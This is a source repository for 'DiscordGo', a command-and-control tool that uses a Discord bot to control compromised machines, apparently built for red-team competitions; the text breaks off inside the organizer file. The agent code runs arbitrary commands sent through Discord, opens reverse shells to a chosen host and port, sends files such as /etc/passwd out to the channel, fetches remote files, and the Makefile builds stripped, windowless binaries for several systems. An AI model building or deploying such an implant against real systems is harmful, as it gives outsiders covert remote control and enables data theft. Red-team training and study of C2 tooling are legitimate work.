├── scripts ├── requirements.txt └── csv_generator.py ├── .gitignore ├── img ├── logo.png ├── teams.png ├── agent_cmd.png ├── example-team.png ├── example-command.png └── Screen Shot 2021-02-07 at 7.28.15 PM.png ├── pkg ├── util │ ├── variables.go │ └── utils.go └── agent │ └── agent.go ├── install.sh ├── go.mod ├── Makefile ├── Changelog.txt ├── go.sum ├── README.md └── cmd ├── agent └── main.go └── organizer └── main.go /scripts/requirements.txt: -------------------------------------------------------------------------------- 1 | termcolor -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ./vscode 2 | .DS_Store 3 | bin 4 | *.csv -------------------------------------------------------------------------------- /img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/logo.png -------------------------------------------------------------------------------- /img/teams.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/teams.png -------------------------------------------------------------------------------- /img/agent_cmd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/agent_cmd.png -------------------------------------------------------------------------------- /img/example-team.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/example-team.png -------------------------------------------------------------------------------- /img/example-command.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/example-command.png -------------------------------------------------------------------------------- /img/Screen Shot 2021-02-07 at 7.28.15 PM.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/emmaunel/DiscordGo/HEAD/img/Screen Shot 2021-02-07 at 7.28.15 PM.png -------------------------------------------------------------------------------- /pkg/util/variables.go: -------------------------------------------------------------------------------- 1 | // Package constants contains sensitive informations like the serverID and BotToken 2 | package util 3 | 4 | var ServerID = "XXXXXXXXXXXXXXXXX" 5 | var BotToken = "XXXXXXXXXXXXXXXXX" 6 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # TODO 4 | # Installation script for discordC2. 5 | echo "Beginning DiscordGo C2 installation." 6 | 7 | printf "Please enter your server ID: " 8 | read server 9 | printf "Please enter your discord app token: " 10 | read token 11 | 12 | # Then run make 13 | make clean && make -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module DiscordGo 2 | 3 | go 1.17 4 | 5 | require github.com/bwmarrin/discordgo v0.23.3-0.20211204170245-092735083ddf 6 | 7 | require ( 8 | github.com/gorilla/websocket v1.4.2 // indirect 9 | golang.org/x/sys v0.0.0-20211013075003-97ac67df715c // indirect 10 | ) 11 | 12 | require ( 13 | github.com/AvraamMavridis/randomcolor v0.0.0-20180822172341-208aff70bf2c 14 | github.com/sirupsen/logrus v1.8.1 15 | golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e // indirect 16 | ) 17 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | DIRECTORY=bin 2 | MAC=macos-agent 3 | LINUX=linux-agent 4 | WIN=windows-agent.exe 5 | RASP=rasp 6 | BSD=bsd-agent 7 | FLAGS=-ldflags "-s -w" 8 | WIN-FLAGS=-ldflags -H=windowsgui 9 | 10 | all: clean create-directory agent-mac agent-linux agent-windows agent-rasp agent-fuckbsd 11 | 12 | create-directory: 13 | mkdir ${DIRECTORY} 14 | 15 | agent-mac: 16 | echo "Compiling macos binary" 17 | env GOOS=darwin GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${MAC} cmd/agent/main.go 18 | 19 | agent-linux: 20 | echo "Compiling Linux binary" 21 | env GOOS=linux GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${LINUX} cmd/agent/main.go 22 | 23 | agent-windows: 24 | echo "Compiling Windows binary" 25 | env GOOS=windows GOARCH=amd64 go build ${WIN-FLAGS} -o ${DIRECTORY}/${WIN} cmd/agent/main.go 26 | 27 | agent-rasp: 28 | echo "Compiling RASPI binary" 29 | env GOOS=linux GOARCH=arm GOARM=7 go build ${FLAGS} -o ${DIRECTORY}/${RASP} cmd/agent/main.go 30 | 31 | agent-fuckbsd: 32 | echo "Compiling FUCKBSD binary" 33 | env GOOS=freebsd GOARCH=amd64 go build ${FLAGS} -o ${DIRECTORY}/${BSD} cmd/agent/main.go 34 | 35 | clean: 36 | rm -rf ${DIRECTORY} 37 | -------------------------------------------------------------------------------- /Changelog.txt: -------------------------------------------------------------------------------- 1 | Changelog 1.2: 2 | * Implement mysql for database 3 | * Figure out a way to add agent after they connect before the server is up 4 | 5 | Changelog 2.0: 6 | * Drop the CLI functionality. Just using the Discord client now 7 | * Updated README.md 8 | * Added heartbeat feature 9 | * Ability to output larger output 10 | 11 | Changelog 2.1: 12 | * We have a logo. woohoo 13 | * Ability to delete channels/category after each competition 14 | 15 | Changelog 2.1.1 16 | * Ability to download files from target 17 | * Created roles for group commands 18 | * Remove unused files 19 | * Create variable.go template 20 | 21 | Changelog 2.2 22 | * Ability to send commands to multiple targets via roles 23 | * Updated the agent to work with roles commands 24 | * Option to use slash commands(stats, archive, clean, delcomp) 25 | * Fixed bug where you command outputs are not fully being sent 26 | 27 | Changelog 2.2.1 28 | * Added upload functionality 29 | * Added download functionality 30 | 31 | Changelog 2.2.2 32 | * Fixed special commands bugs :) 33 | * Added multi group commands(@team01, @linux) 34 | * Added os type to .csv file 35 | * Added fuckbsd to the make file....sigh 36 | 37 | -------------------------------------------------------------------------------- /scripts/csv_generator.py: -------------------------------------------------------------------------------- 1 | from termcolor import colored 2 | 3 | compName = "" 4 | # Get the hosts for all the teams given one test host 5 | def get_hosts(num_of_teams, ip_format, name, os): 6 | fd = open(f"{compName}.csv","a") 7 | for i in range(1,num_of_teams+1) : 8 | # Replace X with team number 9 | ip = ip_format.replace("X",str(i)) 10 | # Remove dots 11 | ip = ip.replace(".", "") 12 | teamNum = "team0" + str(i) 13 | fd.write(ip + "," + teamNum + "," + name + "," + os + "\n") 14 | 15 | def getinput(): 16 | global compName 17 | compName = input("Enter Comp name: ") 18 | num_of_teams=int(input(colored("Enter the number of blue teams including test team: ", "blue"))) 19 | hostsPerTeam = int(input(colored("Enter the number of hosts per team (windows + linux + router)", "blue") + ": ")) 20 | 21 | 22 | for i in range(hostsPerTeam): 23 | hostInfo = input(f"Enter the ipFormat, name, OS of host {i+1}" + colored(" [192.X.1.2, Database, Linux] ", "red") + ": ") 24 | hostInfo = hostInfo.replace(" ", "") 25 | ip, name, os = hostInfo.split(",") 26 | get_hosts(num_of_teams, ip, name, os) 27 | 28 | 29 | 30 | def main(): 31 | getinput() 32 | print(colored(f"Hosts written to {compName}.csv ", "green")) 33 | 34 | if __name__ == "__main__": 35 | main() 36 | 37 | -------------------------------------------------------------------------------- /pkg/util/utils.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import ( 4 | "io" 5 | "net/http" 6 | "os" 7 | "reflect" 8 | ) 9 | 10 | // RemoveDuplicatesValues: A helper function to remove duplicate items in a list 11 | func RemoveDuplicatesValues(arrayToEdit []string) []string { 12 | keys := make(map[string]bool) 13 | list := []string{} 14 | 15 | for _, entry := range arrayToEdit { 16 | if _, value := keys[entry]; !value { 17 | keys[entry] = true 18 | list = append(list, entry) 19 | } 20 | } 21 | return list 22 | } 23 | 24 | // https://stackoverflow.com/questions/28828440/is-there-a-way-to-write-generic-code-to-find-out-whether-a-slice-contains-specif 25 | func Find(slice, elem interface{}) bool { 26 | sv := reflect.ValueOf(slice) 27 | 28 | // Check that slice is actually a slice/array. 29 | // you might want to return an error here 30 | if sv.Kind() != reflect.Slice && sv.Kind() != reflect.Array { 31 | return false 32 | } 33 | 34 | // iterate the slice 35 | for i := 0; i < sv.Len(); i++ { 36 | 37 | // compare elem to the current slice element 38 | if elem == sv.Index(i).Interface() { 39 | return true 40 | } 41 | } 42 | 43 | // nothing found 44 | return false 45 | } 46 | 47 | // DownloadFile will download a url to a local file. It's efficient because it will 48 | // write as it downloads and not load the whole file into memory. 49 | func DownloadFile(filepath string, url string) error { 50 | 51 | // Get the data 52 | resp, err := http.Get(url) 53 | if err != nil { 54 | return err 55 | } 56 | defer resp.Body.Close() 57 | 58 | // Create the file 59 | out, err := os.Create(filepath) 60 | if err != nil { 61 | return err 62 | } 63 | defer out.Close() 64 | 65 | // Write the body to file 66 | _, err = io.Copy(out, resp.Body) 67 | return err 68 | } 69 | 70 | func UpdateStats([] int) { 71 | 72 | } 73 | -------------------------------------------------------------------------------- /pkg/agent/agent.go: -------------------------------------------------------------------------------- 1 | package agent 2 | 3 | import ( 4 | "net" 5 | "os" 6 | ) 7 | 8 | // DEBUG is set to true, lots of print statement 9 | // comes alive 10 | var DEBUG bool = false 11 | 12 | // AgentStat represent a single target 13 | type Agent struct { 14 | HostName string 15 | OS string 16 | IP string 17 | Status string 18 | Timestamp string 19 | } 20 | 21 | // AgentInfo keeps track of each agent 22 | type AgentInfo struct { 23 | Agent *Agent 24 | Status string 25 | } 26 | 27 | type File struct { 28 | CreateTime int32 `json:"create_time"` 29 | FileName string `json:"fname"` 30 | FileSize int64 `json:"fsize"` 31 | Id int `json:"id"` 32 | IsEnabled bool `json:"is_enabled"` 33 | IsPaused bool `json:"is_paused"` 34 | MimeType string `json:"mime_type"` 35 | Name string `json:"name"` 36 | OriginalMimeType string `json:"orig_mime_type"` 37 | RedirectPath string `json:"redirect_path"` 38 | RefSubFile int `json:"ref_sub_file"` 39 | SubFile *string `json:"sub_file"` 40 | SubMimeType *string `json:"sub_mime_type"` 41 | SubName *string `json:"sub_name"` 42 | Uid int `json:"uid"` 43 | UrlPath string `json:"url_path"` 44 | } 45 | 46 | type FileListData struct { 47 | Uploads []File `json:"uploads"` 48 | } 49 | 50 | type FileList struct { 51 | Data FileListData `json:"data"` 52 | ErrorCode int `json:"error_code"` 53 | Message string `json:"message"` 54 | } 55 | 56 | type Credentials struct { 57 | Username string `json:"username"` 58 | Password string `json:"password"` 59 | } 60 | 61 | // GetLocalIP return their IP 62 | // I say local because the agent might be behind a NAT network 63 | // And their external IP is gonna be different. 64 | func GetLocalIP() string { 65 | addrs, err := net.InterfaceAddrs() 66 | if err != nil { 67 | os.Stderr.WriteString("Oops: " + err.Error() + "\n") 68 | os.Exit(1) 69 | } 70 | 71 | for _, a := range addrs { 72 | if ipnet, ok := a.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { 73 | if ipnet.IP.To4() != nil { 74 | return ipnet.IP.String() 75 | } 76 | } 77 | } 78 | 79 | return "nil" 80 | } 81 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/AvraamMavridis/randomcolor v0.0.0-20180822172341-208aff70bf2c h1:XLynE8YGJdvPN65iI+G+Ys5ZUVS6YxWk8WPe/FmBReg= 2 | github.com/AvraamMavridis/randomcolor v0.0.0-20180822172341-208aff70bf2c/go.mod h1:vX+Cl5GOtK2DkzgsggLoeNUbxAcUWBaybCKzVRYsRMo= 3 | github.com/bwmarrin/discordgo v0.23.3-0.20211204170245-092735083ddf h1:7N5Yd4rEIrHR21kuBNVOAECBY5mQTogFlFkuXbB6xmc= 4 | github.com/bwmarrin/discordgo v0.23.3-0.20211204170245-092735083ddf/go.mod h1:NJZpH+1AfhIcyQsPeuBKsUtYrRnjkyu0kIVMCHkZtRY= 5 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 6 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= 8 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 9 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 10 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 11 | github.com/sirupsen/logrus v1.8.1 h1:dJKuHgqk1NNQlqoA6BTlM1Wf9DOH3NBjQyu0h9+AZZE= 12 | github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= 13 | github.com/stretchr/testify v1.2.2 h1:bSDNvY7ZPG5RlJ8otE/7V6gMiyenm9RtJ7IUVIAoJ1w= 14 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 15 | golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= 16 | golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e h1:gsTQYXdTw2Gq7RBsWvlQ91b+aEQ6bXFUngBGuR8sPpI= 17 | golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 18 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 19 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 20 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 21 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 22 | golang.org/x/sys v0.0.0-20211013075003-97ac67df715c h1:taxlMj0D/1sOAuv/CbSD+MMDof2vbyPTqz5FNYKpXt8= 23 | golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 24 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 25 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 26 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

DiscordGo

2 |

3 | 4 | 5 | 6 |

7 | 8 | ![Version](https://img.shields.io/badge/Version-2.0-brightgreen) 9 | ![Language](https://img.shields.io/badge/Language-Go-blue.svg?longCache=true&style=flat-square) 10 | [![Go Report Card](https://goreportcard.com/badge/github.com/emmaunel/DiscordGo)](https://goreportcard.com/report/github.com/emmaunel/DiscordGo) 11 | ![nil](https://img.shields.io/badge/nil-goated-green) 12 | 13 | 14 | Discord C2 for Redteam engagement....Need a better name. 15 | If you can think of one, please tell me. :) 16 | 17 | Not to be confused with DiscordGo library which I use for the backend. 18 | 19 | # Why I made this 20 | 21 | During Blue-Red Team competition, I needed an easy and fast way to keep connected and a way for mutiple redteamer to run commands, hence DiscordGo. 22 | Since Discord is getting popular, why not use the platorm as a c2. 23 | That's what this project is about. 24 | 25 | # Installation 26 | 27 | To use DiscordGo, you need to create a Discord bot and a Discord server. After that, invite the bot to your server. 28 | 29 | Click [here](https://support.discord.com/hc/en-us/articles/204849977-How-do-I-create-a-server-) to learn how to create a server and [here](https://discordjs.guide/preparations/setting-up-a-bot-application.html#creating-your-bot) to create a bot. And finally, learn to invite the bot to your server with [this.](https://discordjs.guide/preparations/adding-your-bot-to-servers.html#bot-invite-links) 30 | 31 | When creating the bot, you need it give it some permission. For testing, I gave the bot full `administrative` permission. But the required permission are as follow: 32 | 33 | * Send Messages 34 | * Read Messages 35 | * Attach Files 36 | * Manage Server 37 | 38 | # Usage 39 | 40 | Edit this file `pkg/util/variables.go` with your `BotToken` and `ServerID`. Or create the file if not there 41 | 42 | The bot token can be found on discord developer dashboard where you created the bot. To get your server ID, go to your server setting and click on `widget`. On the right pane, you see the your ID. 43 | 44 | An example configuration file looks like this: 45 | ``` 46 | var ServerID = "XXXXXXXXXXX" 47 | var BotToken = "XXXXXXXXXXX" 48 | ``` 49 | 50 | After that is done, all you have to do is run `make`. That will create 3 binaries. 51 | 52 | ``` 53 | - linux-agent 54 | - windows-agent.exe 55 | - macos-agent 56 | ``` 57 | 58 | ## Organizer Bot 59 | 60 | When you have target connecting back to your discord server, channels are created by their ip addresses. This can quickly get hard to manage. Solution: Another bot to organize the targets channels. 61 | 62 | To use the organizer bot, run the csv generator script in the scripts folder: 63 | ``` 64 | $ pip3 install -r requirements.txt 65 | $ python3 csv_generator.py 66 | ``` 67 | 68 | This will create a csv like this: 69 | 70 | ``` 71 | 192168185200,team01,hostname1,windows 72 | 192168185201,team02,hostname2,linux 73 | ``` 74 | 75 | To start the organizer bot: `go run cmd/organizer/main.go -f .csv` 76 | 77 | Run `clean` in any channel to organize bots into their respective categories. 78 | 79 | # Feature 80 | 81 | * Cross-platform 82 | * Organozer(talk about and intergration to pwnboard) 83 | 84 | 85 | # WIP (Work in Progress) 86 | 87 | - [x] Cross-platform 88 | - [x] File upload 89 | - [x] File download 90 | - [x] Agent grouping(by hostname like web hosts and so on, slash command) 91 | - [x] Group commands 92 | - [X] Add logging to organizer 93 | - [X] Comp CSV Generation file 94 | - [ ] Integrate with pwndrop 95 | 96 | 97 | 98 | # Screenshots 99 |

100 | 101 | 102 | 103 |

104 |

105 | 106 | 107 | 108 |

109 | 110 | # Co-Authors 111 | 112 | * @Fred(https://github.com/frybin) 113 | Thanks for late night fixes during deploy 114 | 115 | # Disclamers 116 | The author is in no way responsible for any illegal use of this software. It is provided purely as an educational proof of concept. I am also not responsible for any damages or mishaps that may happen in the course of using this software. Use at your own risk. 117 | 118 | Every message on discord are saved on Discord's server, so be careful and not upload any sensitive or confidential documents. 119 | 120 | # Used Libraries 121 | * [discordgo](https://github.com/bwmarrin/discordgo) 122 | 123 | 124 | Inspired by [SierrOne](https://github.com/berkgoksel/SierraOne) 125 | 126 | Logo by @BradHacker(https://github.com/BradHacker) -------------------------------------------------------------------------------- /cmd/agent/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net" 7 | "os" 8 | "os/exec" 9 | "os/signal" 10 | "regexp" 11 | "runtime" 12 | "strings" 13 | "syscall" 14 | "time" 15 | 16 | "DiscordGo/pkg/agent" 17 | "DiscordGo/pkg/util" 18 | 19 | "github.com/bwmarrin/discordgo" 20 | ) 21 | 22 | var newAgent *agent.Agent 23 | var channelID *discordgo.Channel 24 | 25 | // Create an Agent with all the necessary information 26 | func init() { 27 | 28 | newAgent = &agent.Agent{} 29 | newAgent.HostName, _ = os.Hostname() 30 | newAgent.IP = agent.GetLocalIP() 31 | 32 | sys := "Unknown" 33 | if runtime.GOOS == "windows" { 34 | sys = "Windows" 35 | } else if runtime.GOOS == "linux" { 36 | sys = "Linux" 37 | } else if runtime.GOOS == "darwin" { 38 | sys = "MacOS" 39 | } 40 | 41 | newAgent.OS = sys 42 | } 43 | 44 | func main() { 45 | // TODO Do a check on the constant and produce a good error 46 | dg, err := discordgo.New("Bot " + util.BotToken) 47 | if err != nil { 48 | fmt.Println("error creating Discord session,", err) 49 | return 50 | } 51 | 52 | if agent.DEBUG { 53 | fmt.Println("New Agent Info") 54 | fmt.Println(newAgent.HostName) 55 | fmt.Println(newAgent.IP) 56 | fmt.Println(newAgent.OS) 57 | fmt.Println() 58 | } 59 | 60 | channelID, _ = dg.GuildChannelCreate(util.ServerID, newAgent.IP, 0) 61 | 62 | sendMessage := "``` Hostname: " + newAgent.HostName + "\n IP:" + newAgent.IP + "\n OS:" + newAgent.OS + "```" 63 | message, _ := dg.ChannelMessageSend(channelID.ID, sendMessage) 64 | dg.ChannelMessagePin(channelID.ID, message.ID) 65 | dg.AddHandler(messageCreater) 66 | 67 | go func(dg *discordgo.Session) { 68 | ticker := time.NewTicker(time.Duration(5) * time.Minute) 69 | for { 70 | <-ticker.C 71 | go heartBeat(dg) 72 | } 73 | }(dg) 74 | 75 | // Open a websocket connection to Discord and begin listening. 76 | err = dg.Open() 77 | if err != nil { 78 | return 79 | } 80 | 81 | if agent.DEBUG { 82 | fmt.Println("Agent is now running. Press CTRL-C to exit.") 83 | } 84 | // Wait here until CTRL-C or other term signal is received. 85 | sc := make(chan os.Signal, 1) 86 | signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, syscall.SIGTERM) 87 | <-sc 88 | 89 | // Delete a channel 90 | dg.ChannelDelete(channelID.ID) 91 | 92 | // Cleanly close down the Discord session. 93 | dg.Close() 94 | 95 | } 96 | 97 | // This function is where we define custom commands for discordgo and system commands for the target 98 | func messageCreater(dg *discordgo.Session, message *discordgo.MessageCreate) { 99 | var re = regexp.MustCompile(`(?m)<@&\d{18}>`) 100 | 101 | // Special case 102 | if message.Author.Bot { 103 | if message.Content == "kill" { 104 | dg.ChannelDelete(channelID.ID) 105 | os.Exit(0) 106 | } 107 | } 108 | 109 | // Another special case 110 | if len(message.MentionRoles) > 0 { 111 | message_content := strings.Trim(re.ReplaceAllString(message.Content, ""), " ") 112 | // PUT THIS IS A FUNCTION\ 113 | if message.ChannelID == channelID.ID { 114 | fmt.Println(message_content) 115 | output := executeCommand(message_content) 116 | if output == "" { 117 | dg.ChannelMessageSend(message.ChannelID, "Command didn't return anything") 118 | } else { 119 | batch := "" 120 | counter := 0 121 | largeOutputChunck := []string{} 122 | for char := 0; char < len(output); char++ { 123 | if counter < 2000 && char < len(output)-1 { 124 | batch += string(output[char]) 125 | counter++ 126 | } else { 127 | if char == len(output)-1 { 128 | batch += string(output[char]) 129 | } 130 | largeOutputChunck = append(largeOutputChunck, batch) 131 | batch = string(output[char]) 132 | counter = 1 133 | } 134 | } 135 | 136 | for _, chunck := range largeOutputChunck { 137 | dg.ChannelMessageSend(message.ChannelID, "```"+chunck+"```") 138 | } 139 | } 140 | } 141 | } 142 | 143 | if !message.Author.Bot { 144 | if message.ChannelID == channelID.ID { 145 | if message.Content == "ping" { 146 | dg.ChannelMessageSend(message.ChannelID, "I'm alive bruv") 147 | } else if message.Content == "kill" { 148 | dg.ChannelDelete(channelID.ID) 149 | os.Exit(0) 150 | } else if strings.HasPrefix(message.Content, "cd") { 151 | commandBreakdown := strings.Fields(message.Content) 152 | os.Chdir(commandBreakdown[1]) 153 | dg.ChannelMessageSend(message.ChannelID, "```Directory changed to "+commandBreakdown[1]+"```") 154 | } else if strings.HasPrefix(message.Content, "shell") { 155 | splitCommand := strings.Fields(message.Content) 156 | if len(splitCommand) == 1 { 157 | dg.ChannelMessageSend(message.ChannelID, "``` shell \n Example: shell bash 127.0.0.1 1337, shell sh 127.0.0.1 69696\n Shell type: bash and sh```") 158 | } else if len(splitCommand) == 4 { 159 | shelltype := splitCommand[1] 160 | if shelltype == "bash" { 161 | hhh := splitCommand[2] + ":" + splitCommand[3] 162 | conn, _ := net.Dial("tcp", hhh) 163 | if conn == nil { 164 | return 165 | } 166 | 167 | sh := exec.Command("/bin/bash") 168 | sh.Stdin, sh.Stdout, sh.Stderr = conn, conn, conn 169 | sh.Run() 170 | conn.Close() 171 | 172 | } else if shelltype == "sh" { 173 | hhh := splitCommand[2] + ":" + splitCommand[3] 174 | conn, _ := net.Dial("tcp", hhh) 175 | if conn == nil { 176 | println("please don't crash") 177 | return 178 | } 179 | 180 | sh := exec.Command("/bin/sh") 181 | sh.Stdin, sh.Stdout, sh.Stderr = conn, conn, conn 182 | sh.Run() 183 | conn.Close() 184 | 185 | } else { 186 | dg.ChannelMessageSend(message.ChannelID, "```Not a supported shell type```") 187 | } 188 | } else { 189 | dg.ChannelMessageSend(message.ChannelID, "``` Incomplete command ```") 190 | } 191 | } else if strings.HasPrefix(message.Content, "download") { 192 | commandBreakdown := strings.Fields(message.Content) 193 | if len(commandBreakdown) == 1 { 194 | dg.ChannelMessageSend(message.ChannelID, "Please specify file(s): download /etc/passwd") 195 | return 196 | } else { 197 | files := commandBreakdown[1:] 198 | for _, file := range files { 199 | fileReader, err := os.Open(file) 200 | if err != nil { 201 | dg.ChannelMessageSend(message.ChannelID, "Could not open file: "+file) 202 | } 203 | dg.ChannelFileSend(message.ChannelID, file, bufio.NewReader(fileReader)) 204 | } 205 | } 206 | } else if strings.HasPrefix(message.Content, "upload") { 207 | commandBreakdown := strings.Split(message.Content, " ") 208 | if len(commandBreakdown) == 1 { 209 | dg.ChannelMessageSend(message.ChannelID, "Please specify the file: upload /etc/ssh/sshd_config(with attached file) or upload http://example.com/test.txt /tmp/test.txt") 210 | return 211 | } else if len(commandBreakdown) == 2 { // upload /etc/ssh/sshd_config(with attached file) 212 | fileDownloadPath := commandBreakdown[1] 213 | if len(message.Attachments) == 0 { // With out this, the program will crash, can be used for debugging 214 | dg.ChannelMessageSend(message.ChannelID, "No file was attached!") 215 | return 216 | } 217 | util.DownloadFile(fileDownloadPath, message.Attachments[0].URL) 218 | } else { // upload http://example.com/test.txt /tmp/test.txt 219 | util.DownloadFile(commandBreakdown[2], commandBreakdown[1]) 220 | } 221 | } else { 222 | output := executeCommand(message.Content) 223 | if output == "" { 224 | dg.ChannelMessageSend(message.ChannelID, "Command didn't return anything") 225 | } else { 226 | batch := "" 227 | counter := 0 228 | largeOutputChunck := []string{} 229 | for char := 0; char < len(output); char++ { 230 | if counter < 2000 && char < len(output)-1 { 231 | batch += string(output[char]) 232 | counter++ 233 | } else { 234 | if char == len(output)-1 { 235 | batch += string(output[char]) 236 | } 237 | largeOutputChunck = append(largeOutputChunck, batch) 238 | batch = string(output[char]) 239 | counter = 1 240 | } 241 | } 242 | 243 | for _, chunck := range largeOutputChunck { 244 | dg.ChannelMessageSend(message.ChannelID, "```"+chunck+"```") 245 | } 246 | } 247 | } 248 | } 249 | } 250 | } 251 | 252 | func heartBeat(dg *discordgo.Session) { 253 | dg.ChannelMessageSend(channelID.ID, fmt.Sprintf("!heartbeat %v", newAgent.IP)) 254 | } 255 | 256 | func executeCommand(command string) string { 257 | args := "" 258 | result := "" 259 | var shell, flag string 260 | var testcmd = command 261 | 262 | if runtime.GOOS == "windows" { 263 | shell = "cmd" 264 | flag = "/c" 265 | } else { 266 | shell = "/bin/sh" 267 | flag = "-c" 268 | } 269 | 270 | // Seperate args from command 271 | ss := strings.Split(command, " ") 272 | command = ss[0] 273 | 274 | if len(ss) > 1 { 275 | for i := 1; i < len(ss); i++ { 276 | args += ss[i] + " " 277 | } 278 | args = args[:len(args)-1] // I HATEEEEEEEE GOLANGGGGGG 279 | } 280 | 281 | if args == "" { 282 | output, err := exec.Command(shell, flag, command).Output() 283 | // output, err := exec.Command(command).Output() 284 | 285 | if err != nil { 286 | // maybe send error to server 287 | fmt.Println(err.Error()) 288 | fmt.Println("Couldn't execute command") 289 | } 290 | 291 | result = string(output) 292 | if agent.DEBUG { 293 | fmt.Println("Result: " + result) 294 | fmt.Println(len(result)) 295 | } 296 | 297 | } else { 298 | output, err := exec.Command(shell, flag, testcmd).Output() 299 | if err != nil { 300 | // maybe send error to server ??? nah 301 | fmt.Println(err.Error()) 302 | fmt.Println("Couldn't execute command") 303 | } 304 | 305 | result = string(output) 306 | if agent.DEBUG { 307 | fmt.Println("Result: " + result) 308 | fmt.Println(len(result)) 309 | } 310 | } 311 | return result 312 | } 313 | -------------------------------------------------------------------------------- /cmd/organizer/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "encoding/json" 7 | "flag" 8 | "fmt" 9 | "net/http" 10 | "os" 11 | "os/signal" 12 | "strconv" 13 | "strings" 14 | "syscall" 15 | 16 | "DiscordGo/pkg/util" 17 | 18 | "github.com/AvraamMavridis/randomcolor" 19 | "github.com/bwmarrin/discordgo" 20 | log "github.com/sirupsen/logrus" 21 | ) 22 | 23 | var dg *discordgo.Session 24 | var err error 25 | var channelID *discordgo.Channel // Target Channel ID 26 | var fileInputPtr string // Input file string 27 | var targetMap map[string]Target // Putting each line of the csv in a list/array 28 | var teams []string // Special list of the team number: Used for ... 29 | var hostnameList []string 30 | var osList []string // Special list of hostname: used for ... 31 | var heartbeatCounter, aliveAgents, deadAgents int // How many heartbeats have we had during an engagement 32 | var statRecords = []int{0, 0, 0} //[0] = heartbeats, [1] = alive agents, [2] = dead agents 33 | var tmpStatFile string = "/tmp/discordstat.txt" // Contains stats about bots 34 | 35 | // TODO Move the dead to archive catergory 36 | var ( 37 | commands = []*discordgo.ApplicationCommand{ 38 | { 39 | Name: "stats", 40 | Type: discordgo.ChatApplicationCommand, 41 | Description: "Quick stats about the comp", 42 | }, 43 | { 44 | Name: "archive", 45 | Type: discordgo.ChatApplicationCommand, 46 | Description: "Archive/Delete dead channels", 47 | }, 48 | { 49 | Name: "clean", 50 | Type: discordgo.ChatApplicationCommand, 51 | Description: "Rearranges channels to the right channel", 52 | }, 53 | { 54 | Name: "delcomp", 55 | Type: discordgo.ChatApplicationCommand, 56 | Description: "Cleaning up all targets", 57 | }, 58 | } 59 | ) 60 | 61 | // Target representation 62 | type Target struct { 63 | ip string 64 | teamstring string 65 | hostname string 66 | ostype string 67 | } 68 | 69 | // PwnBoard json post request 70 | type PwnBoard struct { 71 | IPs string 